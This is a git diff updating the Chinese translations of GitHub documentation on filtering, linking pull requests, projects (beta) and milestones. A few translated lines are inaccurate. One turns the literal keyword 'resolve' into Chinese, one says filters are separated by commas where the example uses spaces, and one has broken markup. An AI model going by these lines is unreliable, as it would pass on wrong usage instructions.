+- 使用 `-` before the term: `state:open type:issue -author:octocat` 过滤搜索词。
 
 {% ifversion fpt or ghes > 3.2 or ghae or ghec %}
 {% tip %}
 
 **Tip:** You can filter issues and pull requests by label using logical OR or using logical AND.
-- To filter issues using logical OR, use the comma syntax: `label:"bug","wip"`. 
+- To filter issues using logical OR, use the comma syntax: `label:"bug","wip"`.
 - To filter issues using logical AND, use separate label filters: `label:"bug" label:"wip"`.
 
 {% endtip %}
 {% endif %}
 
 {% ifversion fpt or ghes or ghae or ghec %}
-For issues, you can also use search to:
+对于议题，您还可以使用搜索来：
 
-- Filter for issues that are linked to a pull request by a closing reference: `linked:pr`
+- 通过关闭引用过滤链接到拉取请求的议题：`linked:pr`
 {% endif %}
 
-For pull requests, you can also use search to:
-- Filter [draft](/articles/about-pull-requests#draft-pull-requests) pull requests: `is:draft`
-- Filter pull requests that haven't been [reviewed](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) yet: `state:open type:pr review:none`
-- Filter pull requests that [require a review](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging) before they can be merged: `state:open type:pr review:required`
-- Filter pull requests that a reviewer has approved: `state:open type:pr review:approved`
-- Filter pull requests in which a reviewer has asked for changes: `state:open type:pr review:changes_requested`
-- Filter pull requests by [reviewer](/articles/about-pull-request-reviews/): `state:open type:pr reviewed-by:octocat`
+对于拉取请求，您还可以使用搜索来：
+- 过滤[草稿](/articles/about-pull-requests#draft-pull-requests)拉取请求：`is:draft`
+- 过滤尚未[审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)的拉取请求：`state:open type:pr review:none`
+- 过滤[需要审查](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)然后才能合并的拉取请求：`state:open type:pr review:required`
+- 过滤审查者已批准的拉取请求：`state:open type:pr review:approved`
+- 过滤审查者要求更改的拉取请求：`state:open type:pr review:changes_requested`
+- 按[审查者](/articles/about-pull-request-reviews/)过滤拉取请求：`state:open type:pr reviewed-by:octocat`
 - Filter pull requests by the specific user [requested for review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review): `state:open type:pr review-requested:octocat`{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
 - Filter pull requests that someone has asked you directly to review: `state:open type:pr user-review-requested:@me`{% endif %}
-- Filter pull requests by the team requested for review: `state:open type:pr team-review-requested:github/atom`{% ifversion fpt or ghes or ghae or ghec %}
-- Filter for pull requests that are linked to an issue that the pull request may close: `linked:issue`{% endif %}
+- 按申请审查的团队过滤拉取请求：`state:open type:pr team-review-requested:github/atom`{% ifversion fpt or ghes or ghae or ghec %}
+- 过滤链接到拉取请求可能关闭的议题的拉取请求：`linked:issue`{% endif %}
 
-## Sorting issues and pull requests
+## 排序议题和拉取请求
 
-Filters can be sorted to provide better information during a specific time period.
+可以排序过滤器以在特定时间段内提供更好的信息。
 
-You can sort any filtered view by:
+您可以按以下各项排序任何过滤的视图：
 
-* The newest created issues or pull requests
-* The oldest created issues or pull requests
-* The most commented issues or pull requests
-* The least commented issues or pull requests
-* The newest updated issues or pull requests
-* The oldest updated issues or pull requests
-* The most added reaction on issues or pull requests
+* 最新创建的议题或拉取请求
+* 最早创建的议题或拉取请求
+* 评论最多的议题或拉取请求
+* 评论最少的议题或拉取请求
+* 最新更新的议题或拉取请求
+* 最早更新的议题或拉取请求
+* 反应最多的议题或拉取请求
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
-1. In the upper-right corner, select the Sort drop-down menu.
-  ![Using the Sort drop-down tab](/assets/images/help/issues/issues_sort_dropdown.png)
+1. 在右上角，选择 Sort（排序）下拉菜单。 ![使用排序下拉菜单选项卡](/assets/images/help/issues/issues_sort_dropdown.png)
 
-To clear your sort selection, click **Sort** > **Newest**.
+要清除您的排序选择，请单击 **Sort（排序）<**>**Newest（最新）**。
 
 
-## Sharing filters
+## 共享过滤器
 
-When you filter or sort issues and pull requests, your browser's URL is automatically updated to match the new view.
+当您过滤或排序议题和拉取请求时，浏览器的 URL 自动更新以匹配新视图。
 
-You can send the URL that issues generates to any user, and they'll be able to see the same filter view that you see.
+您可以将议题生成的 URL 发送给任何用户，这些用户将能够看到与您所见相同的过滤视图。
 
-For example, if you filter on issues assigned to Hubot, and sort on the oldest open issues, your URL would update to something like the following:
+例如，如果您过滤分配给 Hubot 的议题，然后对最早的开放议题进行排序，您的 URL 将更新为类似如下内容：
 
 ```
 /issues?q=state:open+type:issue+assignee:hubot+sort:created-asc
 ```
 
-## Further reading
+## 延伸阅读
 
-- "[Searching issues and pull requests](/articles/searching-issues)""
+- "[Searching issues and pull requests](/articles/searching-issues)"
diff --git a/translations/zh-CN/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md b/translations/zh-CN/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
index 8eca5faf19..f32392f7b8 100644
--- a/translations/zh-CN/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
+++ b/translations/zh-CN/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
@@ -1,6 +1,6 @@
 ---
-title: Linking a pull request to an issue
-intro: You can link a pull request to an issue to show that a fix is in progress and to automatically close the issue when the pull request is merged.
+title: 将拉取请求链接到议题
+intro: 您可以将拉取请求链接到议题，以显示修复正在进行中，并在拉取请求被合并时自动关闭该议题。
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/linking-a-pull-request-to-an-issue
   - /articles/closing-issues-via-commit-message
@@ -16,25 +16,26 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Link PR to issue
+shortTitle: 将 PR 链接到议题
 ---
+
 {% note %}
 
-**Note:** The special keywords in a pull request description are interpreted when the pull request targets the repository's *default* branch. However, if the PR's base is *any other branch*, then these keywords are ignored, no links are created and merging the PR has no effect on the issues. **If you want to link a pull request to an issue using a keyword, the PR must be on the default branch.**
+**注：**当拉取请求指向仓库的*默认*分支时，将解析拉取请求说明中的特殊关键字。 但是，如果拉取请求的基础是*任何其他分支*，则将忽略这些关键字，不创建任何链接，并且合并拉取请求对议题没有影响。 **如果要使用关键字将拉取请求链接到议题，则拉取请求必须在默认分支上。**
 
 {% endnote %}
 
-## About linked issues and pull requests
+## 关于链接的议题和拉取请求
 
-You can link an issue to a pull request {% ifversion fpt or ghes or ghae or ghec %}manually or {% endif %}using a supported keyword in the pull request description.
+您可以{% ifversion fpt or ghes or ghae or ghec %}手动或{% endif %}使用拉取请求说明中支持的关键词将议题链接到拉取请求。
 
-When you link a pull request to the issue the pull request addresses, collaborators can see that someone is working on the issue.
+当您将拉取请求链接到拉取请求指向的议题，如果有人正在操作该议题，协作者可以看到。
 
-When you merge a linked pull request into the default branch of a repository, its linked issue is automatically closed. For more information about the default branch, see "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)."
+将链接的拉取请求合并到仓库的默认分支时，其链接的议题将自动关闭。 有关默认分支的更多信息，请参阅“[更改默认分支](/github/administering-a-repository/changing-the-default-branch)”。
 
-## Linking a pull request to an issue using a keyword
+## 使用关键词将拉取请求链接到议题
 
-You can link a pull request to an issue by using a supported keyword in the pull request's description or in a commit message (please note that the pull request must be on the default branch).
+您可以在拉取请求说明或提交消息中使用支持的关键字将拉取请求链接到议题（请注意，拉取请求必须在默认分支上）。
 
 * close
 * closes
@@ -42,41 +43,39 @@ You can link a pull request to an issue by using a supported keyword in the pull
 * fix
 * fixes
 * fixed
-* resolve
+* 解决
 * resolves
 * resolved
 
 If you use a keyword to reference a pull request comment in another pull request, the pull requests will be linked. Merging the referencing pull request will also close the referenced pull request.
 
-The syntax for closing keywords depends on whether the issue is in the same repository as the pull request.
+关闭关键词的语法取决于议题是否与拉取请求在同一仓库中。
 
-Linked issue | Syntax | Example
---------------- | ------ | ------
-Issue in the same repository | *KEYWORD* #*ISSUE-NUMBER* | `Closes #10`
-Issue in a different repository | *KEYWORD* *OWNER*/*REPOSITORY*#*ISSUE-NUMBER* | `Fixes octo-org/octo-repo#100`
-Multiple issues | Use full syntax for each issue | `Resolves #10, resolves #123, resolves octo-org/octo-repo#100`
+| 链接的议题    | 语法                                            | 示例                                                             |
+| -------- | --------------------------------------------- | -------------------------------------------------------------- |
+| 同一仓库中的议题 | *KEYWORD* #*ISSUE-NUMBER*                     | `Closes #10`                                                   |
+| 不同仓库中的议题 | *KEYWORD* *OWNER*/*REPOSITORY*#*ISSUE-NUMBER* | `Fixes octo-org/octo-repo#100`                                 |
+| 多个议题     | 对每个议题使用完整语法                                   | `Resolves #10, resolves #123, resolves octo-org/octo-repo#100` |
 
-{% ifversion fpt or ghes or ghae or ghec %}Only manually linked pull requests can be manually unlinked. To unlink an issue that you linked using a keyword, you must edit the pull request description to remove the keyword.{% endif %}
+{% ifversion fpt or ghes or ghae or ghec %}只有手动链接的拉取请求才能手动取消链接。 要取消链接您使用关键词链接的议题，必须编辑拉取请求说明以删除该关键词。{% endif %}
 
-You can also use closing keywords in a commit message. The issue will be closed when you merge the commit into the default branch, but the pull request that contains the commit will not be listed as a linked pull request.
+您也可以在提交消息中使用关闭关键词。 议题将在提交合并到默认分支时关闭，但包含提交的拉取请求不会列为链接的拉取请求。
 
 
 {% ifversion fpt or ghes or ghae or ghec %}
-## Manually linking a pull request to an issue
+## 手动将拉取请求链接到议题
 
-Anyone with write permissions to a repository can manually link a pull request to an issue.
+对仓库有写入权限的任何人都可以手动将拉取请求链接到议题。
 
-You can manually link up to ten issues to each pull request. The issue and pull request must be in the same repository.
+您可以手动链接最多 10 个议题到每个拉取请求。 议题和拉取请求必须位于同一仓库中。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
-3. In the list of pull requests, click the pull request that you'd like to link to an issue.
-4. In the right sidebar, click **Linked issues**.
-  ![Linked issues in the right sidebar](/assets/images/help/pull_requests/linked-issues.png)
-5. Click the issue you want to link to the pull request.
-  ![Drop down to link issue](/assets/images/help/pull_requests/link-issue-drop-down.png)
+3. 在拉取请求列表中，单击要链接到议题的拉取请求。
+4. 在右侧边栏中，单击 **Linked issues（链接的议题）**。 ![右侧边栏中链接的议题](/assets/images/help/pull_requests/linked-issues.png)
+5. 单击要链接到拉取请求的议题。 ![下拉以链接议题](/assets/images/help/pull_requests/link-issue-drop-down.png)
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[Autolinked references and URLs](/articles/autolinked-references-and-urls/#issues-and-pull-requests)"
+- "[自动链接的引用和 URL](/articles/autolinked-references-and-urls/#issues-and-pull-requests)"
diff --git a/translations/zh-CN/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md b/translations/zh-CN/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
index 240974ebc9..f777072488 100644
--- a/translations/zh-CN/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
+++ b/translations/zh-CN/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
@@ -26,8 +26,6 @@ To transfer an open issue to another repository, you must have write access to t
 
 ## 将开放的议题转让给其他仓库
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/creating-a-project.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/creating-a-project.md
index 58635dc20d..3cd4aa1f77 100644
--- a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/creating-a-project.md
+++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/creating-a-project.md
@@ -82,7 +82,7 @@ You can archive an item to keep the context about the item in the project but re
 
 1. Select the item(s) to archive or delete. To select multiple items, do one of the following:
      - `cmd + click` (Mac) or `ctrl + click` (Windows/Linux) each item.
-     - Select an item then `shift + arrow-up` or `shift + arrow-down` to select additional items above or below the intitially selected item.
+     - Select an item then `shift + arrow-up` or `shift + arrow-down` to select additional items above or below the initially selected item.
      - Select an item then `shift + click` another item to select all items between the two items.
      - Enter `cmd + a` (Mac) or `ctrl + a` (Windows/Linux) to select all items in a column in a board layout or all items in a table layout.
 2. To archive all selected items, enter `e`. To delete all selected items, enter `del`. Alternatively, select the {% octicon "triangle-down" aria-label="the item menu" %} (in table layout) or the {% octicon "kebab-horizontal" aria-label="the item menu" %} (in board layout), then select the desired action.
diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md
index 4b879741b9..a748093957 100644
--- a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md
+++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md
@@ -1,6 +1,6 @@
 ---
-title: Customizing your project (beta) views
-intro: 'Display the information you need by changing the layout, grouping, sorting, and filters in your project.'
+title: 自定义项目（测试版）视图
+intro: 通过更改项目中的布局、分组、排序和筛选器来显示您需要的信息。
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -17,14 +17,14 @@ topics:
 Use the project command palette to quickly change settings and run commands in your project.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing any part of a command or navigate through the command palette window to find a command. See the next sections for more examples of commands.
+2. 开始键入命令的任何部分或浏览命令面板窗口以查找命令。 更多命令示例请参阅下面的章节。
 
 ## Changing the project layout
 
-You can view your project as a table or as a board.
+您可以将项目视为表或板。
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Switch layout".
+2. 开始键入 "Switch layout"。
 3. Choose the required command. For example, **Switch layout: Table**.
 3. Alternatively, click the drop-down menu next to a view name and click **Table** or **Board**.
 
@@ -35,9 +35,9 @@ You can show or hide a specific field.
 In table layout:
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing the action you want to take ("show" or "hide") or the name of the field.
+2. 开始键入要执行的操作（"show" 或 "hide"）或字段名称。
 3. Choose the required command. For example, **Show: Milestone**.
-4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} to the right of the table. In the drop-down menu that appears, indicate which fields to show or hide. A {% octicon "check" aria-label="check icon" %} indicates which fields are displayed.
+4. 或者，单击表格右侧的 {% octicon "plus" aria-label="the plus icon" %}。 在显示的下拉菜单中，指示要显示或隐藏哪些字段。 {% octicon "check" aria-label="check icon" %} 指示显示哪些字段。
 5. Alternatively, click the drop-down menu next to the field name and click **Hide field**.
 
 In board layout:
@@ -48,43 +48,43 @@ In board layout:
 
 ## Reordering fields
 
-You can change the order of fields.
+您可以更改字段的顺序。
 
-1. Click the field header.
+1. 单击字段标题。
 2. While clicking, drag the field to the required location.
 
 ## Reordering rows
 
-In table layout, you can change the order of rows.
+在表布局中，您可以更改行的顺序。
 
-1. Click the number at the start of the row.
+1. 点击行开头的数字。
 2. While clicking, drag the row to the required location.
 
 ## Sorting by field values
 
-In table layout, you can sort items by a field value.
+在表布局中，您可以按字段值排序项。
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Sort by" or the name of the field you want to sort by.
+2. 开始键入 "Sort by" 或您想要排序的字段的名称。
 3. Choose the required command. For example, **Sort by: Assignees, asc**.
 4. Alternatively, click the drop-down menu next to the field name that you want to sort by and click **Sort ascending** or **Sort descending**.
 
 {% note %}
 
-**Note:** When a table is sorted, you cannot manually reorder rows.
+**注意：**对表格排序时，您不能手动重新排序行。
 
 {% endnote %}
 
-Follow similar steps to remove a sort.
+按照类似步骤删除排序。
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Remove sort-by".
+2. 开始键入 "Remove sort-by"。
 3. Choose **Remove sort-by**.
 4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current sort.
 
 ## Grouping by field values
 
-In the table layout, you can group items by a custom field value. When items are grouped, if you drag an item to a new group, the value of that group is applied. For example, if you group by "Status" and then drag an item with a status of `In progress` to the `Done` group, the status of the item will switch to `Done`.
+In the table layout, you can group items by a custom field value. 对项分组时，如果将项拖动到新组，则应用该组的值。 For example, if you group by "Status" and then drag an item with a status of `In progress` to the `Done` group, the status of the item will switch to `Done`.
 
 {% note %}
 
@@ -93,31 +93,31 @@ In the table layout, you can group items by a custom field value. When items are
 {% endnote %}
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Group by" or the name of the field you want to group by.
+2. 开始键入 "Group by" 或您想要分组的字段的名称。
 3. Choose the required command. For example, **Group by: Status**.
 4. Alternatively, click the drop-down menu next to the field name that you want to group by and click **Group by values**.
 
-Follow similar steps to remove a grouping.
+按照类似步骤删除分组。
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Remove group-by".
+2. 开始键入 "Remove group-by"。
 3. Choose **Remove group-by**.
 4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current grouping.
 
 ## Filtering rows
 
-Click {% octicon "search" aria-label="the search icon" %} at the top of the table to show the "Filter by keyword or field" bar. Start typing the field name and value that you want to filter by. As you type, possible values will appear.
+Click {% octicon "search" aria-label="the search icon" %} at the top of the table to show the "Filter by keyword or field" bar. Start typing the field name and value that you want to filter by. 当您输入时，可能的值将会出现。
 
 - To filter for multiple values, separate the values with a comma. For example `label:"good first issue",bug` will list all issues with a label `good first issue` or `bug`.
 - To filter for the absence of a specific value, place `-` before your filter. For example, `-label:"bug"` will only show items that do not have the label `bug`.
 - To filter for the absence of all values, enter `no:` followed by the field name. For example, `no:assignee` will only show items that do not have an assignee.
 - To filter by state, enter `is:`. For example, `is: issue` or `is:open`.
-- Separate multiple filters with a space. For example, `status:"In progress" -label:"bug" no:assignee` will show only items that have a status of `In progress`, do not have the label `bug`, and do not have an assignee.
+- 多个过滤条件之间用逗号分隔。 For example, `status:"In progress" -label:"bug" no:assignee` will show only items that have a status of `In progress`, do not have the label `bug`, and do not have an assignee.
 
 Alternatively, use the command palette.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Filter by" or the name of the field you want to filter by.
+2. 开始键入 "Filter by" 或您想要筛选的字段的名称。
 3. Choose the required command. For example, **Filter by Status**.
 4. Enter the value that you want to filter for. For example: "In progress". You can also filter for the absence of specific values (for example, choose "Exclude status" then choose a status) or the absence of all values (for example, "No status").
 
@@ -125,7 +125,7 @@ In board layout, you can click on item data to filter for items with that value.
 
 ## Creating a project view
 
-Project views allow you to quickly view specific aspects of your project. Each view is displayed on a separate tab in your project. 
+Project views allow you to quickly view specific aspects of your project. Each view is displayed on a separate tab in your project.
 
 For example, you can have:
 - A view that shows all items not yet started (filter on "Status").
@@ -135,24 +135,24 @@ For example, you can have:
 To add a new view:
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "New view" (to create a new view) or "Duplicate view" (to duplicate the current view).
+2. 开始键入 "New view"（创建新视图）或 "Duplicate view"（复制当前视图）。
 3. Choose the required command.
-4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} **New view** next to the rightmost view.
+4. 或者，点击右侧视图旁边的 {% octicon "plus" aria-label="the plus icon" %} **New view（新视图）**。
 5. Alternatively, click the drop-down menu next to a view name and click **Duplicate view**.
 
 The new view is automatically saved.
 
 ## Saving changes to a view
 
-When you make changes to a view - for example, sorting, reordering, filtering, or grouping the data in a view - a dot is displayed next to the view name to indicate that there are unsaved changes. 
+When you make changes to a view - for example, sorting, reordering, filtering, or grouping the data in a view - a dot is displayed next to the view name to indicate that there are unsaved changes.
 
 ![Unsaved changes indicator](/assets/images/help/projects/unsaved-changes.png)
 
-If you don't want to save the changes, you can ignore this indicator. No one else will see your changes.
+如果您不想保存更改，可以忽略此指示。 No one else will see your changes.
 
 To save the current configuration of the view for all project members:
 1. {% data reusables.projects.open-command-palette %}
-1. Start typing "Save view" or "Save changes to new view".
+1. 开始键入 "Save view" 或 "Save changes to new view"。
 1. Choose the required command.
 1. Alternatively, click the drop-down menu next to a view name and click **Save view** or **Save changes to new view**.
 
@@ -173,13 +173,13 @@ The name change is automatically saved.
 
 ## Deleting a saved view
 
-To delete a view:
+要删除视图：
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Delete view".
+2. 开始键入 "Delete view"。
 3. Choose the required command.
 4. Alternatively, click the drop-down menu next to a view name and click **Delete view**.
 
-## Further reading
+## 延伸阅读
 
-- "[About projects (beta)](/issues/trying-out-the-new-projects-experience/about-projects)"
-- "[Creating a project (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project)"
+- "[关于项目（测试版）](/issues/trying-out-the-new-projects-experience/about-projects)"
+- "[创建项目（测试版）](/issues/trying-out-the-new-projects-experience/creating-a-project)"
diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md
index 0e92893d8d..f8d3558826 100644
--- a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md
+++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md
@@ -37,7 +37,7 @@ The default base role is `write`, meaning that everyone in the organization can
 
 ### Managing access for teams and individual members of your organization
 
-You can also add teams, and individual organization members, as collaborators. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+You can also add teams, and individual organization members, as collaborators. 更多信息请参阅“[关于团队](/organizations/organizing-members-into-teams/about-teams)”。
 
 You can only invite an individual user to collaborate on your organization-level project if they are a member of the organization.
 
diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
index 130c27e3d2..5c3d2c8174 100644
--- a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
+++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
@@ -17,8 +17,6 @@ topics:
 
 ## 身份验证
 
-{% include tool-switcher %}
-
 {% curl %}
 
 在所有下面的 cURL 示例中， 将 `TOKENN` 替换为具有 `read:org` 范围（对于查询）或 `write:org` 范围（对于查询和突变）的令牌。 The token can be a personal access token for a user or an installation access token for a {% data variables.product.prodname_github_app %}. For more information about creating a personal access token, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." For more information about creating an installation access token for a {% data variables.product.prodname_github_app %}, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app)."
@@ -52,13 +50,13 @@ gh api graphql -f query='
   }' -f organization=$my_org -F number=$my_num
 ```
 
-更多信息请参阅“[使用 GraphQL 创建调用]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#working-with-variables)”。
+For more information, see "[Forming calls with GraphQL]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#working-with-variables)."
 
 {% endcli %}
 
 ## 查找项目信息
 
-使用查询获取项目数据。 更多信息请参阅“[关于查询]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-queries)。”
+使用查询获取项目数据。 For more information, see "[About queries]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-queries)."
 
 ### Finding the node ID of an organization project
 
@@ -66,8 +64,6 @@ gh api graphql -f query='
 
 You can find the node ID of an organization project if you know the organization name and project number. 将 `ORGANIZATION` 替换为您的组织名称。 例如 `octo-org`。 Replace `NUMBER` with the project number. 要查找项目编号，请查看项目 URL。 例如，`https://github.com/orgs/octo-org/projects/5` 有一个编号为 5 的项目。
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -92,8 +88,6 @@ gh api graphql -f query='
 
 您也可以在组织中找到所有项目的节点 ID。 下面的示例将返回组织中前 20 个项目的节点 ID 和标题。 将 `ORGANIZATION` 替换为您的组织名称。 例如 `octo-org`。
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -123,9 +117,7 @@ gh api graphql -f query='
 
 要通过 API 更新您的项目，您需要知道项目的节点 ID。
 
-You can find the node ID of a user project if you know the project number. Replace `USER` with your user name. 例如 `octocat`。 将 `NUMBER` 替换为项目编号。 要查找项目编号，请查看项目 URL。 例如，`https://github.com/users/octocat/projects/5` 有一个编号为 5 的项目。
-
-{% include tool-switcher %}
+You can find the node ID of a user project if you know the project number. Replace `USER` with your user name. 例如 `octocat`。 将 `NUMBER` 替换为项目编号。 要查找项目编号，请查看项目 URL。 For example, `https://github.com/users/octocat/projects/5` has a project number of 5.
 
 {% curl %}
 ```shell
@@ -151,8 +143,6 @@ gh api graphql -f query='
 
 You can also find the node ID for all of your projects. The following example will return the node ID and title of your first 20 projects. Replace `USER` with your username. 例如 `octocat`。
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -184,8 +174,6 @@ gh api graphql -f query='
 
 下面的示例将返回项目中前 20 个字段的 ID、名称和设置。 将 `PROJECT_ID` 替换为项目的节点 ID。
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -257,8 +245,6 @@ gh api graphql -f query='
 
 下面的示例将返回项目中前 20 个字段的名称和 ID。 对于每个项目，它还将返回项目前 8 个字段的值和名称。 如果项目是议题或拉取请求，它将返回前 10 个受理人的登录名。 将 `PROJECT_ID` 替换为项目的节点 ID。
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -310,7 +296,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-项目可能包含用户无权查看的项。 在这种情况下，响应将包括已编辑的项。
+项目可能包含用户无权查看的项。 In this case, the response will include a redacted item.
 
 ```shell
 {
@@ -335,8 +321,6 @@ gh api graphql -f query='
 
 以下示例将向您的项目添加议题或拉取请求。 将 `PROJECT_ID` 替换为项目的节点 ID。 将 `CONT_ID` 替换为议题的节点 ID 或您想要添加的拉取请求。
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -373,14 +357,12 @@ gh api graphql -f query='
 }
 ```
 
-如果您尝试添加已经存在的项，则返回现有项 ID。
+If you try to add an item that already exists, the existing item ID is returned instead.
 
 ### Updating a custom text, number, or date field
 
 The following example will update the value of a date field for an item. 将 `PROJECT_ID` 替换为项目的节点 ID。 将 `ITEM_ID` 替换为您想要更新的项的节点 ID。 将 `FIELD_ID` 替换为您想要更新的字段的 ID。
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -425,8 +407,6 @@ The following example will update the value of a single select field for an item
 - `FIELD_ID` -  Replace this with the ID of the single select field that you want to update.
 - `OPTION_ID` - Replace this with the ID of the desired single select option.
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -465,8 +445,6 @@ The following example will update the value of an iteration field for an item.
 - `FIELD_ID` -  Replace this with the ID of the iteration field that you want to update.
 - `ITERATION_ID` - Replace this with the ID of the desired iteration. This can be either an active iteration (from the `iterations` array) or a completed iteration (from the `completed_iterations` array).
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -500,8 +478,6 @@ gh api graphql -f query='
 
 下面的示例将从项目中删除一个项。 将 `PROJECT_ID` 替换为项目的节点 ID。 将 `ITEM_ID` 替换为您想要删除的项的节点 ID。
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
diff --git a/translations/zh-CN/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md b/translations/zh-CN/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
index c008e01a7b..049674c16f 100644
--- a/translations/zh-CN/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
+++ b/translations/zh-CN/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
@@ -1,6 +1,6 @@
 ---
-title: Creating and editing milestones for issues and pull requests
-intro: You can create a milestone to track progress on groups of issues or pull requests in a repository.
+title: 创建和编辑议题及拉取请求的里程碑
+intro: 您可以创建里程碑来跟踪仓库中议题或拉取请求组的进度。
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/creating-and-editing-milestones-for-issues-and-pull-requests
   - /articles/creating-milestones-for-issues-and-pull-requests
@@ -15,32 +15,30 @@ topics:
   - Pull requests
   - Issues
   - Project management
-shortTitle: Create & edit milestones
+shortTitle: 创建和编辑里程碑
 type: how_to
 ---
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.sidebar-issue-pr %}
-{% data reusables.project-management.milestones %}
-4. Choose one of these options:
-    - To create a new milestone, click **New Milestone**.
-  ![New milestone button](/assets/images/help/repository/new-milestone.png)
-    - To edit a milestone, next to the milestone you want to edit, click **Edit**.
-  ![Edit milestone option](/assets/images/help/repository/edit-milestone.png)
-5. Type the milestone's title, description, or other changes, and click **Create milestone** or **Save changes**. Milestones will render Markdown syntax. For more information about Markdown syntax, see "[Basic writing and formatting syntax](/github/writing-on-github/basic-writing-and-formatting-syntax)."
-
-## Deleting milestones
-
-When you delete milestones, issues and pull requests are not affected.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
 {% data reusables.project-management.milestones %}
-4. Next to the milestone you want to delete, click **Delete**.
-![Delete milestone option](/assets/images/help/repository/delete-milestone.png)
+4. 选择以下选项之一：
